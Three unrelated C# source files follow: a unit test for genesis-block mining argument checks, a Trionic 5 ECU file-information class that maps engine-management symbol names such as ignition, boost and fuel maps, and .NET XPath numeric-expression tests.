Assert.Throws<ArgumentException>(() => Network.MineGenesisBlock(new ConsensusFactory(), "some string", null, Money.Zero)); Assert.Throws<ArgumentException>(() => Network.MineGenesisBlock(new ConsensusFactory(), "some string", new Target(new uint256()), null)); } [Fact] [Trait("UnitTest", "UnitTest")] public void MineGenesisBlockWithLongCoinbaseTextThrowsException() { string coinbaseText100Long = "1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"; Assert.Throws<ArgumentException>(() => Network.MineGenesisBlock(new ConsensusFactory(), coinbaseText100Long, new Target(new uint256()), Money.Zero)); } } }
using System; using System.Collections.Generic; using System.Text; using System.IO; namespace Trionic5Tools { public class Trionic5FileInformation : IECUFileInformation { public enum TrionicFileLength : int { Trionic52Length = 0x20000, Trionic55Length = 0x40000, Trionic7Length = 0x80000, Trionic8Length = 0x100000 } public Trionic5FileInformation() { m_SymbolCollection = new SymbolCollection(); m_AddressCollection = new AddressLookupCollection(); } private int m_filelength = 0x40000; public override int Filelength { get { return m_filelength; } set { m_filelength = value; } } private string m_SRAMfilename = string.Empty; public override string SRAMfilename { get { return m_SRAMfilename; } set { m_SRAMfilename = value; } } private string m_filename = string.Empty; public override bool Has2DRegKonMat() { if (GetSymbolLength("Reg_kon_mat!") == 0x80) return false; return true; } public override string GetSymbolNameByAddress(int address) { if (address == m_filelength - 0x1E0) return "Sync timestamp"; if (m_SymbolCollection == null) return ""; foreach (SymbolHelper sh in m_SymbolCollection) { if (sh.Flash_start_address == address) return sh.Varname; } return ""; } public override string Filename { get { return m_filename; } set { m_filename = value; FileInfo fi = new FileInfo(m_filename); m_filelength = (int)fi.Length; } } public override Int32 GetSymbolAddressSRAM(string symbolname) { foreach (SymbolHelper sh in m_SymbolCollection) { if (sh.Varname == symbolname) return sh.Start_address; } return 0; } public override Int32 GetSymbolAddressFlash(string symbolname) { foreach (SymbolHelper sh in m_SymbolCollection) { if (sh.Varname == symbolname) return sh.Flash_start_address; } return 0; } public override Int32 GetSymbolLength(string symbolname) { foreach (SymbolHelper sh in m_SymbolCollection) { if (sh.Varname == symbolname) return sh.Length; } return 0; } private SymbolCollection m_SymbolCollection; public override SymbolCollection SymbolCollection { get { return m_SymbolCollection; } set { m_SymbolCollection = value; } } private AddressLookupCollection m_AddressCollection; public override AddressLookupCollection AddressCollection { get { return m_AddressCollection; } set { m_AddressCollection = value; } } public override string GetPressureSymbol() { // trionic 5 pressure realtime symbol = P_medel return "P_medel"; } public override string GetAirTempSymbol() { return "Lufttemp"; } public override string GetCoolantTempSymbol() { return "Kyl_temp"; } public override string GetEngineSpeedSymbol() { return "Rpm"; } public override string GetLambdaSymbol() { return "AD_sond"; } public override string GetProgramModeSymbol() { return "Pgm_mod!"; } public override string GetProgramStatusSymbol() { return "Pgm_status"; } public override string GetInjectorConstant() { return "Inj_konst!"; } public override string GetIgnitionMap() { return "Ign_map_0!"; } public override string GetIgnitionKnockMap() { return "Ign_map_2!"; } public override string GetIgnitionWarmupMap() { return "Ign_map_4!"; } public override string GetBoostRequestMap() { return "Tryck_mat!"; } public override string GetBoostBiasMap() { return "Reg_kon_mat!"; } public override string GetFuelcutMap() { return "Tryck_vakt_tab!"; } public override string GetPFactorsMap() { return "P_fors!"; } public override string GetIFactorsMap() { return "I_fors!"; } public override string GetDFactorsMap() { return "D_fors!"; } public override string GetPFactorsMapAUT() { return "P_fors_a!"; } public override string GetIFactorsMapAUT() { return "I_fors_a!"; } public override string GetDFactorsMapAUT() { return "D_fors_a!"; } public override string GetBoostBiasMapAUT() { return "Reg_kon_mat_a!"; } public override string GetBoostRequestMapAUT() { return "Tryck_mat_a!"; } public override string GetBoostLimiterFirstGearMapAUT() { if (m_filelength == (int)TrionicFileLength.Trionic52Length) { return "Regl_tryck_fga!"; } else { return "Regl_tryck_fgaut!"; } } public override string GetBoostLimiterFirstGearMap() { return "Regl_tryck_fgm!"; } public override string GetOpenLoopMap() { return "Open_loop!"; } public override string GetOpenLoopKnockMap() { return "Open_loop_knock!"; } public override bool isSixteenBitTable(string symbolname) { if (symbolname.StartsWith("Ign_map_0")) return true; else if (symbolname.StartsWith("Ign_map_1")) return true; else if (symbolname.StartsWith("Ign_map_2")) return true; else if (symbolname.StartsWith("Ign_map_3")) return true; else if (symbolname.StartsWith("Ign_map_4")) return true; else if (symbolname.StartsWith("Ign_map_5")) return true; else if (symbolname.StartsWith("Ign_map_6")) return true; else if (symbolname.StartsWith("Ign_map_7")) return true; else if (symbolname.StartsWith("Ign_map_8")) return true; else if (symbolname.StartsWith("Inj_map_0")) return true; else if (symbolname.StartsWith("Idle_step_ioka!")) return true; else if (symbolname.StartsWith("Idle_step_imns!")) return true; else if (symbolname.StartsWith("Derivata_grans!")) return true; // * 10 else if (symbolname.StartsWith("Lambdamatris!")) return true; // * 10 else if (symbolname.StartsWith("Lambdamatris_diag!")) return true; // * 10 else if (symbolname.StartsWith("Iv_min_tab!")) return true; else if (symbolname.StartsWith("Iv_min_tab_ac!")) return true; else if (symbolname.StartsWith("Misfire_map_x_axis!")) return true; else if (symbolname.StartsWith("Max_ratio_aut!")) return true; else if (symbolname.StartsWith("Mis200_map!")) return true; else if (symbolname.StartsWith("Misfire_map!")) return true; else if (symbolname.StartsWith("Start_insp!")) return true; else if (symbolname.StartsWith("Start_max!")) return true; else if (symbolname.StartsWith("Start_ramp!")) return true; else if (symbolname.StartsWith("Reg_kon_mat")) { if (GetSymbolLength(symbolname) == 0x80) { return false; } else { return true; } } else if (symbolname.StartsWith("Max_regl_temp_1")) return true; else if (symbolname.StartsWith("Max_regl_temp_2")) return true; else if (symbolname.StartsWith("Mis1000_map!")) return true; else if (symbolname.StartsWith("Knock_ref_matrix!")) return true; else if (symbolname.StartsWith("Detect_map!")) return true; //?? else if (symbolname.StartsWith("Knock_wind_on_tab!")) return true; else if (symbolname.StartsWith("Lknock_oref_tab!")) return true; else if (symbolname.StartsWith("Knock_lim_tab!")) return true; else if (symbolname.StartsWith("Knock_wind_off_tab!")) return true; else if (symbolname.StartsWith("Turbo_knock_tab!")) return true; else if (symbolname.StartsWith("Knock_press_tab!")) return true; else if (symbolname.StartsWith("Idle_drift_tab!")) return true; else if (symbolname.StartsWith("Last_reg_kon!")) return true; else if (symbolname.StartsWith("Shift_rpm! (automaat?)")) return true; else if (symbolname.StartsWith("Ign_map_6_x_axis!")) return true; else if (symbolname.StartsWith("Ign_map_6_y_axis!")) return true; else if (symbolname.StartsWith("Gear_st!")) return true; else if (symbolname.StartsWith("Reg_varv!")) return true; else if (symbolname.StartsWith("Trans_y_st!")) return true; else if (symbolname.StartsWith("Idle_st_rpm!")) return true; else if (symbolname.StartsWith("Dash_rpm_axis!")) return true; else if (symbolname.StartsWith("Ramp_down_ram!")) return true; else if (symbolname.StartsWith("Ramp_up_ram!")) return true; else if (symbolname.StartsWith("Idle_start_extra!")) return true; else if (symbolname.StartsWith("Idle_start_extra_ramp!")) return true; else if (symbolname.StartsWith("Idle_temp_off!")) return true; else if (symbolname.StartsWith("Idle_rpm_tab!")) return true; else if (symbolname.StartsWith("Derivata_br_sp!")) return true; else if (symbolname.StartsWith("Derivata_br_tab_pos!")) return true; else if (symbolname.StartsWith("Derivata_br_tab_neg!")) return true; else if (symbolname.StartsWith("Br_plus_tab!")) return true; else if (symbolname.StartsWith("Br_minus_tab!")) return true; else if (symbolname.StartsWith("Start_tab!")) return true; else if (symbolname.StartsWith("Temp_reduce_y_st!")) return true; else if (symbolname.StartsWith("Idle_tryck!")) return true; else if (symbolname.StartsWith("Iv_start_time_tab!")) return true; else if (symbolname.StartsWith("Cat_ox1_filt_coef_tab!")) return true; else if (symbolname.StartsWith("Cat_ox2_filt_coef_tab!")) return true; else if (symbolname.StartsWith("Cat_air_flow_tab!")) return true; else if (symbolname.StartsWith("Cat_ox1_per_hi_tab!")) return true; else if (symbolname.StartsWith("Cat_ox1_per_lo_tab!")) return true; else if (symbolname.StartsWith("Cat_ox1_err_max_tab!")) return true; else if (symbolname.StartsWith("Cat_ox1_dev_max_tab!")) return true; else if (symbolname.StartsWith("Batt_korr_tab!")) return true; else if (symbolname.StartsWith("Kadapt_max_ref!")) return true; else if (symbolname.StartsWith("Ign_map_3_x_axis!")) return true; else if (symbolname.StartsWith("Last_varv_st!")) return true; else if (symbolname.StartsWith("Fuel_map_yaxis!")) return true; else if (symbolname.StartsWith("Ign_map_3_y_axis!")) return true; else if (symbolname.StartsWith("Pwm_ind_rpm!")) return true; else if (symbolname.StartsWith("Max_regl_sp!")) return true; else if (symbolname.StartsWith("Idle_ac_tab!")) return true; else if (symbolname.StartsWith("Wait_count_tab!")) return true; else if (symbolname.StartsWith("Knock_average_tab!")) return true; else if (symbolname.StartsWith("Knock_wind_rpm!")) return true; else if (symbolname.StartsWith("Detect_map_y_axis!")) return true; else if (symbolname.StartsWith("Misfire_map_y_axis!")) return true; else if (symbolname.StartsWith("Detect_map_x_axis!")) return true; else if (symbolname.StartsWith("Rpm_max!")) return true; else if (symbolname.StartsWith("Tid_Konst!")) return true; else if (symbolname.StartsWith("Min_tid!")) return true; else if (symbolname.StartsWith("Kadapt_rpm_high!")) return true; // * 10 else if (symbolname.StartsWith("Kadapt_rpm_low!")) return true; // * 10 else if (symbolname.StartsWith("Knock_start!")) return true; else if (symbolname.StartsWith("Min_rpm_closed_loop!")) return true;// * 10 else if (symbolname.StartsWith("Min_rpm_gadapt!")) return true; // * 10 else if (symbolname.StartsWith("Ign_offset!")) return true; else if (symbolname.StartsWith("Ign_offset_cyl1!")) return true; else if (symbolname.StartsWith("Ign_offset_cyl2!")) return true; else if (symbolname.StartsWith("Ign_offset_cyl3!")) return true; else if (symbolname.StartsWith("Ign_offset_cyl4!")) return true; else if (symbolname.StartsWith("Ign_offset_adapt!")) return true; else if (symbolname.StartsWith("Max_rpm_gadapt!")) return true; // * 10 else if (symbolname.StartsWith("Temp_ramp_value!")) return true; else if (symbolname.StartsWith("Global_adapt_nr!")) return true; else if (symbolname.StartsWith("Ign_idle_angle!")) return true; // /10 else if (symbolname.StartsWith("Knock_ang_dec")) return true; else if (symbolname.StartsWith("Knock_wind_rpm")) return true; else if (symbolname.StartsWith("Knock_matrix_time")) return true; else if (symbolname.StartsWith("Radius_of_roll!")) return true; else if (symbolname.StartsWith("Knock_ref_tab!")) return true; else if (symbolname.StartsWith("Frek_230!")) return true; else if (symbolname.StartsWith("Frek_250!")) return true; else if (symbolname.StartsWith("Min_tid!")) return true; else if (symbolname.StartsWith("Mis_trans_limit!")) return true; else if (symbolname.StartsWith("Derivata_fuel_rpm!")) return true; // * 10 else if (symbolname.StartsWith("Tid_konst!")) return true; else if (symbolname.StartsWith("Ret_delta_rpm!")) return true; // * 10 else if (symbolname.StartsWith("Ret_down_rpm!")) return true; // * 10 else if (symbolname.StartsWith("Ret_up_rpm!")) return true; // * 10 else if (symbolname.StartsWith("Start_time_rpm_lim!")) return true; else if (symbolname.StartsWith("Start_v_vinkel!")) return true; else if (symbolname.StartsWith("Cut_ej_under!")) return true; else if (symbolname.StartsWith("Open_all_varv!")) return true; // * 10 else if (symbolname.StartsWith("Open_varv!")) return true; // * 10 else if (symbolname.StartsWith("Vinkel_konst!")) return true; else if (symbolname.StartsWith("API_ku_delay!")) return true; else if (symbolname.StartsWith("API_ku_derivata!")) return true; else if (symbolname.StartsWith("API_ku_offset!")) return true; else if (symbolname.StartsWith("API_ku_ramp!")) return true; else if (symbolname.StartsWith("Airpump_ign_offset!")) return true; else if (symbolname.StartsWith("Rev_grad_sens_cont!")) return true; else if (symbolname.StartsWith("PMCal_RpmIdleNomRefLim!")) return true; else if (symbolname.StartsWith("Ap_max_on_time!")) return true; else if (symbolname.StartsWith("Ap_max_rpm!")) return true; else if (symbolname.StartsWith("API_dt_delay!")) return true; else if (symbolname.StartsWith("API_dt_ramp!")) return true; else if (symbolname.StartsWith("API_rpm_limit!")) return true; else if (symbolname.StartsWith("Diag_speed_time!")) return true; else if (symbolname.StartsWith("Ox2_activity_time_lim!")) return true; else if (symbolname.StartsWith("Ox2_change_lim!")) return true; else if (symbolname.StartsWith("PMCal_CloseRamp!")) return true; else if (symbolname.StartsWith("PMCal_IdlePosFiltCoef!")) return true; else if (symbolname.StartsWith("PMCal_IdlePosIntABSLim!")) return true; else if (symbolname.StartsWith("PMCal_IdleRefHaltLim!")) return true; else if (symbolname.StartsWith("PMCal_IdleValueLim!")) return true; else if (symbolname.StartsWith("PMCal_StartRamp!")) return true; else if (symbolname.StartsWith("Shut_off_time!")) return true; else if (symbolname.StartsWith("Sond_omsl_lim!")) return true; else if (symbolname.StartsWith("Start_detekt_nr!")) return true; else if (symbolname.StartsWith("Start_detekt_rpm!")) return true; // * 10 else if (symbolname.StartsWith("Synk_ok_lim!")) return true; else if (symbolname.StartsWith("Ap_lambda_delay!")) return true; else if (symbolname.StartsWith("Cat_af_start_timer_min!")) return true; else if (symbolname.StartsWith("Cat_air_flow_hi!")) return true; else if (symbolname.StartsWith("Cat_air_flow_lo!")) return true; else if (symbolname.StartsWith("Cat_load_filt_coef!")) return true; else if (symbolname.StartsWith("Cat_ox1_bias_lim!")) return true; else if (symbolname.StartsWith("Cat_ox1_err_lim!")) return true; else if (symbolname.StartsWith("Cat_ox2_filt_coef_2!")) return true; else if (symbolname.StartsWith("Cat_stage1_threshold!")) return true; else if (symbolname.StartsWith("Cat_start_timer_lim!")) return true; else if (symbolname.StartsWith("Lambda_cat_lean!")) return true; else if (symbolname.StartsWith("Lambda_cat_rich!")) return true; else if (symbolname.StartsWith("PMCal_LambdaAvgHaltLim!")) return true; else if (symbolname.StartsWith("PMCal_LambdaAvgLim!")) return true; else if (symbolname.StartsWith("Sond_ign_limit!")) return true; else if (symbolname.StartsWith("AC_delay!")) return true; else if (symbolname.StartsWith("Adapt_purge_period!")) return true; else if (symbolname.StartsWith("Ap_ign_offset_delay!")) return true; else if (symbolname.StartsWith("Ap_ign_offset_delay2!")) return true; else if (symbolname.StartsWith("Ap_ign_step!")) return true; else if (symbolname.StartsWith("Ap_inj_factor_delay!")) return true; else if (symbolname.StartsWith("Ap_inj_factor_delay2!")) return true; else if (symbolname.StartsWith("Ap_max_on_time2!")) return true; else if (symbolname.StartsWith("Ap_min_stop_time!")) return true; else if (symbolname.StartsWith("Ap_start_delay!")) return true; else if (symbolname.StartsWith("Ap_start_delay2!")) return true; else if (symbolname.StartsWith("Cat_fc_timer_lim!")) return true; else if (symbolname.StartsWith("Cat_hl_air_flow_min!")) return true; else if (symbolname.StartsWith("Cat_hl_timer_lim!")) return true; else if (symbolname.StartsWith("Cat_vs_timer_lim!")) return true; else if (symbolname.StartsWith("Cl_timer1_lim!")) return true; else if (symbolname.StartsWith("Cl_timer2_lim!")) return true; else if (symbolname.StartsWith("Comb_w_temp_limbhome!")) return true; else if (symbolname.StartsWith("I_fak_max!")) return true; else if (symbolname.StartsWith("Ign_idle_angle_start!")) return true; else if (symbolname.StartsWith("Jd_lastvar!")) return true; else if (symbolname.StartsWith("Kadapt_period!")) return true; else if (symbolname.StartsWith("Knock_back!")) return true; else if (symbolname.StartsWith("Knock_offset!")) return true; else if (symbolname.StartsWith("Knock_reduce!")) return true; else if (symbolname.StartsWith("LLS_min!")) return true; else if (symbolname.StartsWith("Mainrly_off!")) return true; else if (symbolname.StartsWith("Max_neg_der!")) return true; else if (symbolname.StartsWith("Max_pos_der!")) return true; else if (symbolname.StartsWith("Max_um_time!")) return true; else if (symbolname.StartsWith("Nr_adapt_idle_mat!")) return true; else if (symbolname.StartsWith("Misf_rpm_diff!")) return true; else if (symbolname.StartsWith("Misf_rpm_diff_start!")) return true; else if (symbolname.StartsWith("P_tank_filt_fak!")) return true; else if (symbolname.StartsWith("Pdec_min!")) return true; else if (symbolname.StartsWith("Pinc_min!")) return true; else if (symbolname.StartsWith("Pperf_min!")) return true; else if (symbolname.StartsWith("Press_perf_max!")) return true; else if (symbolname.StartsWith("Press_perf_min!")) return true; else if (symbolname.StartsWith("Press_rpm_lim!")) return true; // * 10 else if (symbolname.StartsWith("Rev_grad_sens_dur_req!")) return true; else if (symbolname.StartsWith("Rpm_dif!")) return true; // * 10 else if (symbolname.StartsWith("Rpm_perf_max!")) return true; // * 10 else if (symbolname.StartsWith("Rpm_perf_min!")) return true; // * 10 else if (symbolname.StartsWith("Shift_max_rpm!")) return true; // * 10?? else if (symbolname.StartsWith("Shift_up_off_time!")) return true; else if (symbolname.StartsWith("Shift_up_rpm_hyst!")) return true; // * 10 ?? else if (symbolname.StartsWith("Shift_up_time!")) return true; else if (symbolname.StartsWith("Sync_counter!")) return true; else if (symbolname.StartsWith("Sync_rpm!")) return true; // * 10 ?? else if (symbolname.StartsWith("Trans_offset!")) return true; else if (symbolname.StartsWith("Trans_trott_limit!")) return true; else if (symbolname.StartsWith("Diag_speed_rpm!")) return true; else if (symbolname.StartsWith("I_last_rpm!")) return true; else if (symbolname.StartsWith("Cat_rpm_tab!")) return true; else if (symbolname.StartsWith("Lam_rpm_sp!")) return true; else if (symbolname.StartsWith("Shift_rpm!")) return true; else if (symbolname.StartsWith("Pulses_per_rev!")) return true; else if (symbolname.StartsWith("Apc_adapt")) return true; else if (symbolname.StartsWith("Knock_count_cyl")) return true; else if (symbolname.StartsWith("Knock_count_map")) return true; else if (symbolname.StartsWith("Adapt_ggr")) return true; else if (symbolname.StartsWith("Knock_average")) return true; else if (symbolname.StartsWith("Knock_average_limit")) return true; else if (symbolname.StartsWith("Knock_map_lim")) return true; else if (symbolname.StartsWith("Knock_map_offset")) return true; else if (symbolname.StartsWith("Knock_offset1234")) return true; else if (symbolname.StartsWith("Lknock_oref_level")) return true; else if (symbolname.StartsWith("Turbo_knock_press")) return true; else if (symbolname.StartsWith("Knock_offset1")) return true; else if (symbolname.StartsWith("Knock_offset2")) return true; else if (symbolname.StartsWith("Knock_offset3")) return true; else if (symbolname.StartsWith("Knock_offset4")) return true; else if (symbolname.StartsWith("Knock_press_limit")) return true; else if (symbolname.StartsWith("Knock_diag_level")) return true; else if (symbolname.StartsWith("Knock_level")) return true; else if (symbolname.StartsWith("Knock_lim")) return true; else if (symbolname.StartsWith("Knock_ref_level")) return true; else if (symbolname.StartsWith("Knock_wind_off")) return true; else if (symbolname.StartsWith("Knock_wind_on")) return true; else if (symbolname.StartsWith("Knock_wind_off_ang")) return true; else if (symbolname.StartsWith("Knock_wind_on_ang")) return true; else if (symbolname.StartsWith("Ign_angle_byte")) return false; else if (symbolname.StartsWith("Ign_angle")) return true; else if (symbolname.StartsWith("Reg_kon_apc")) return true; return false; } public override string GetBoostLimiterSecondGearMap() { return "Regl_tryck_sgm!"; } public override string GetKnockLimitMap() { return "Knock_lim_tab!"; } public override string GetBoostControlOffsetSymbol() { return "Reg_kon_apc"; } public override string GetBoostKnockMap() { return "Apc_knock_tab!"; } public override string GetBatteryCorrectionMap() { return "Batt_korr_tab!"; } public override string GetKnockSensitivityMap() { if (m_filelength == (int)TrionicFileLength.Trionic52Length) { return "Knock_ref_tab!"; } else { return "Knock_ref_matrix!"; } } public override string GetIdleFuelMap() { return "Idle_fuel_korr!"; } public override string GetIdleTargetRPMMap() { return "Idle_rpm_tab!"; } public override string GetIdleIgnition() { return "Ign_idle_angle!"; } public override string GetIdleIgnitionCorrectionMap() { return "Ign_map_1!"; } public override string GetFirstAfterStartEnrichmentMap() { return "Eftersta_fak!"; } public override string GetSecondAfterStartEnrichmentMap() { return "Eftersta_fak2!"; } public override string GetInjectionDurationSymbol() { return "Insptid_ms10"; } public override string GetInjectionMap() { if (GetSymbolAddressFlash("Inj_map_0!") > 0) return "Inj_map_0!"; return "Insp_mat!"; } public override string GetInjectionMapLOLA() { return "Inj_map_0!"; } public override string GetInjectionKnockMap() { return "Fuel_knock_mat!"; } public override string GetEnrichmentForLoadSymbol() { return "Lacc_mangd"; } public override string GetEnrichmentForTPSSymbol() { return "Acc_mangd"; } public override string GetEnleanmentForLoadSymbol() { return "Lret_mangd"; } public override string GetEnleanmentForTPSSymbol() { return "Ret_mangd"; } public override string GetIgnitionAdvanceSymbol() { return "Ign_angle"; } public override string GetKnockOffsetCylinder1Symbol() { return "Knock_offset1"; } public override string GetKnockOffsetCylinder2Symbol() { return "Knock_offset2"; } public override string GetKnockOffsetCylinder3Symbol() { return "Knock_offset3"; } public override string GetKnockOffsetCylinder4Symbol() { return "Knock_offset4"; } public override string GetBoostRequestSymbol() { return "Max_tryck"; } public override string GetBoostTargetSymbol() { return "Regl_tryck"; } public override string GetThrottlePositionSymbol() { return "Medeltrot"; // Trot_min? } public override string GetBoostReductionSymbol() { return "Apc_decrese"; } public override string GetPFactorSymbol() { return "P_fak"; } public override string GetIFactorSymbol() { return "I_fak"; } public override string GetDFactorSymbol() { return "D_fak"; } public override string GetPWMOutputSymbol() { return "PWM_ut10"; } public override string GetKnockCountCylinder1Symbol() { return "Knock_count_cyl1"; } public override string GetKnockCountCylinder2Symbol() { return "Knock_count_cyl2"; } public override string GetKnockCountCylinder3Symbol() { return "Knock_count_cyl3"; } public override string GetKnockCountCylinder4Symbol() { return "Knock_count_cyl4"; } public override string GetKnockLevelSymbol() { return "Knock_diag_level"; } public override string GetVehicleSpeedSymbol() { return "Bil_hast"; } public override string GetTorqueSymbol() { return "TQ"; } public override string GetKnockOffsetAllCylindersSymbol() { return "Knock_offset1234"; // not in T5.2 } public override XDFCategories GetSymbolCategory(string symbolname) { foreach (SymbolHelper sh in m_SymbolCollection) { if (sh.Varname == symbolname) { return sh.Category; } } return XDFCategories.Undocumented; } public override XDFSubCategory GetSymbolSubcategory(string symbolname) { foreach (SymbolHelper sh in m_SymbolCollection) { if (sh.Varname == symbolname) { return sh.Subcategory; } } return XDFSubCategory.Undocumented; } public override string GetSymbolDescription(string symbolname) { foreach (SymbolHelper sh in m_SymbolCollection) { if (sh.Varname == symbolname) { return sh.Helptext; } } return symbolname; } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Xunit; using System; using System.Xml; using System.Xml.XPath; using XPathTests.Common; namespace XPathTests.FunctionalTests.Expressions { /// <summary> /// Expressions - Numbers /// </summary> public static partial class NumbersTests { /// <summary> /// Verify result. /// 1 + 1 = 2 /// </summary> [Fact] public static void NumbersTest211() { var xml = "dummy.xml"; var testExpression = @"1 + 1"; var expected = 2d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 0.5 + 0.5 = 1.0 /// </summary> [Fact] public static void NumbersTest212() { var xml = "dummy.xml"; var testExpression = @"0.5 + 0.5"; var expected = 1.0d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 1 + child::para[1] /// </summary> [Fact] public static void NumbersTest213() { var xml = "xp004.xml"; var startingNodePath = "/Doc/Test2"; var testExpression = @"1 + child::Para[1]"; var expected = 11d; Utils.XPathNumberTest(xml, testExpression, expected, startingNodePath: startingNodePath); } /// <summary> /// Verify result. /// child::para[1] + 1 /// </summary> [Fact] public static void NumbersTest214() { var xml = "xp004.xml"; var startingNodePath = "/Doc/Test2"; var testExpression = @"child::Para[1] + 1"; var expected = 11d; Utils.XPathNumberTest(xml, testExpression, expected, startingNodePath: startingNodePath); } /// <summary> /// Verify result. /// 2 - 1 = 1 /// </summary> [Fact] public static void NumbersTest215() { var xml = "dummy.xml"; var testExpression = @"2 - 1"; var expected = 1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 1.5 - 0.5 = 1.0 /// </summary> [Fact] public static void NumbersTest216() { var xml = "dummy.xml"; var testExpression = @"1.5 - 0.5"; var expected = 1.0d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 5 mod 2 = 1 /// </summary> [Fact] public static void NumbersTest217() { var xml = "dummy.xml"; var testExpression = @"5 mod 2"; var expected = 1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 5 mod -2 = 1 /// </summary> [Fact] public static void NumbersTest218() { var xml = "dummy.xml"; var testExpression = @"5 mod -2"; var expected = 1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// -5 mod 2 = -1 /// </summary> [Fact] public static void NumbersTest219() { var xml = "dummy.xml"; var testExpression = @"-5 mod 2"; var expected = -1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// -5 mod -2 = -1 /// </summary> [Fact] public static void NumbersTest2110() { var xml = "dummy.xml"; var testExpression = @"-5 mod -2"; var expected = -1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 50 div 10 = 5 /// </summary> [Fact] public static void NumbersTest2111() { var xml = "dummy.xml"; var testExpression = @"50 div 10"; var expected = 5d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 2.5 div 0.5 = 5.0 /// </summary> [Fact] public static void NumbersTest2112() { var xml = "dummy.xml"; var testExpression = @"2.5 div 0.5"; var expected = 5.0d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 50 div child::para[1] /// </summary> [Fact] public static void NumbersTest2113() { var xml = "xp004.xml"; var startingNodePath = "/Doc/Test2"; var testExpression = @"50 div child::Para[1]"; var expected = 5d; Utils.XPathNumberTest(xml, testExpression, expected, startingNodePath: startingNodePath); } /// <summary> /// Verify result. /// child::para[1] div 2 /// </summary> [Fact] public static void NumbersTest2114() { var xml = "xp004.xml"; var startingNodePath = "/Doc/Test2"; var testExpression = @"child::Para[1] div 2"; var expected = 5d; Utils.XPathNumberTest(xml, testExpression, expected, startingNodePath: startingNodePath); } /// <summary> /// Verify result. /// 2 * 1 = 2 /// </summary> [Fact] public static void NumbersTest2115() { var xml = "dummy.xml"; var testExpression = @"2 * 1"; var expected = 2d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Verify result. /// 2.5 * 0.5 = 1.25 /// </summary> [Fact] public static void NumbersTest2116() { var xml = "dummy.xml"; var testExpression = @"2.5 * 0.5"; var expected = 1.25d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// if any of the operands is NaN result should be NaN /// NaN mod 1 /// </summary> [Fact] public static void NumbersTest2117() { var xml = "dummy.xml"; var testExpression = @"number(0 div 0) mod 1"; var expected = double.NaN; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Expected NaN /// 1 mod NaN /// </summary> [Fact] public static void NumbersTest2118() { var xml = "dummy.xml"; var testExpression = @"1 mod number(0 div 0)"; var expected = double.NaN; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// NaN expected /// Infinity mod 1 /// </summary> [Fact] public static void NumbersTest2119() { var xml = "dummy.xml"; var testExpression = @"number(1 div 0) mod 1"; var expected = double.NaN; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// NaN expected /// Infinity mod 0 /// </summary> [Fact] public static void NumbersTest2120() { var xml = "dummy.xml"; var testExpression = @"number(1 div 0) mod 0"; var expected = double.NaN; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// NaN expected /// 1 mod 0 /// </summary> [Fact] public static void NumbersTest2121() { var xml = "dummy.xml"; var testExpression = @"1 mod 0"; var expected = double.NaN; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// 1 mod Infinity = 1 /// </summary> [Fact] public static void NumbersTest2122() { var xml = "dummy.xml"; var testExpression = @"1 mod number(1 div 0)"; var expected = 1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// -1 mod Infinity = -1 /// </summary> [Fact] public static void NumbersTest2123() { var xml = "dummy.xml"; var testExpression = @"-1 mod number(1 div 0)"; var expected = -1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// 1 mod -Infinity =1 /// </summary> [Fact] public static void NumbersTest2124() { var xml = "dummy.xml"; var testExpression = @"1 mod number(-1 div 0)"; var expected = 1d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// 0 mod 5 = 0 /// </summary> [Fact] public static void NumbersTest2125() { var xml = "dummy.xml"; var testExpression = @"0 mod 5"; var expected = 0d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// 5.2345 mod 3.0 = 2.2344999999999997 /// </summary> [Fact] public static void NumbersTest2126() { var xml = "dummy.xml"; var testExpression = @"5.2345 mod 3.0"; var expected = 2.2344999999999997d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Test for the scanner. It has different code path for digits of the form .xxx and x.xxx /// .5 + .5 = 1.0 /// </summary> [Fact] public static void NumbersTest2127() { var xml = "dummy.xml"; var testExpression = @".5 + .5"; var expected = 1.0d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Test for the scanner. It has different code path for digits of the form .xxx and x.xxx /// .0 + .0 = 0.0 /// </summary> [Fact] public static void NumbersTest2128() { var xml = "dummy.xml"; var testExpression = @".0 + .0"; var expected = 0.0d; Utils.XPathNumberTest(xml, testExpression, expected); } /// <summary> /// Test for the scanner. It has different code path for digits of the form .xxx and x.xxx /// .0 + .0 = 0.0 /// </summary> [Fact] public static void NumbersTest2129() { var xml = "dummy.xml"; var testExpression = @".0 + .0=.0"; var expected = true; Utils.XPathBooleanTest(xml, testExpression, expected); } } }
